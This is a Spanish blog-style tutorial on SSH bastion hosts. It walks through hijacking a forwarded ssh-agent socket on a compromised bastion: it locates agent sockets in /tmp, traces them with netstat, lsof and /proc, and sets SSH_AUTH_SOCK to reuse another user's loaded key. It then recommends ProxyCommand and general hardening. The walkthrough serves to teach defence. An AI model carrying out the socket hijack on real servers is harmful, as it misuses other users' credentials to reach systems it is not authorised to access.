Vi la respuesta sobre ProxyJump. Hablemos de ProxyCommand .
Pero espera, espera! Puedo escribirte cómo hackear el servidor que usa el reenvío de agentes, ¡sería mucho más fácil entender la diferencia!
Vamos a hackear
Para los pasos básicos: puedes leer mi publicación aquí
Los pasos básicos son los siguientes:
- Crear usuarios de bastión
- Deshabilitar inicio de sesión raíz
- Bloquear intentos de piratería
- Cambiar puerto
- Configurar firewall
- Configurar SELinux
Cómo usar AgentForwarding
-Crea la configuración en ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Agregue su clave de autenticación a ssh-agent
ssh-add ~/.ssh/name_rsa
-Conecte al bastión hos
ssh bast
-Conecte el servidor de aplicaciones desde el bastión
ssh app@IP -p PORT
¡Hackear!
Puedes, bueno, hacerme la pregunta:
¿Cómo hackear servidores si comprometiste el servidor bastion?
Seguir objetivo
En el directorio / tmp puede ver algo así:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Abramos el archivo temporal
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Veamos las conexiones a este id de proceso.
netstat -nxp | grep 10507
resultado:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
y quien esta conectado
lsof -i -a -p 10507
resultado:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
También podemos ver archivos de socket:
cd /proc/10507/fd/
ls
resultado:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
¿ Y qué sucede cuando el cliente se conectará al servidor remoto? veamos:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Incluso podemos ver si el archivo de socket se usa usando netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Robar información de socket y dirección IP
Ahora necesitamos robar la información del socket mientras la sesión del servidor bastión está abierta . Oh, también necesitamos la IP del servidor de destino , así que solo use netstat:
netstat -tn
El paso final para usar el archivo de socket reenviado
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Verifique si la llave está cargada .
ssh-add -l
El resultado debería ser algo así :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
El servidor está pirateado, ¿cómo solucionar el problema de seguridad?
Comando proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Para operaciones básicas: cómo transferir archivos a través de los servidores (de cliente a servidor, de servidor a cliente), puede leer mi publicación aquí
Conclusión
- Si usa el servidor bastion, no use AgentForwarding pero use ProxyCommand
- Utilice siempre usuarios no root para la autenticación
- Use un firewall y bloquee todas las conexiones innecesarias.
- Utilice SELinux (en general)
- Bloquee la dirección IP que intenta iniciar sesión varias veces con credenciales incorrectas
- Si no es necesario, no le dé permiso de sudo al usuario
- Monitoree su servidor
- Actualice su servidor para parches de seguridad
Más información, mira mi blog . Además, tengo algunas capturas de pantalla, por lo que puede ser útil para usted.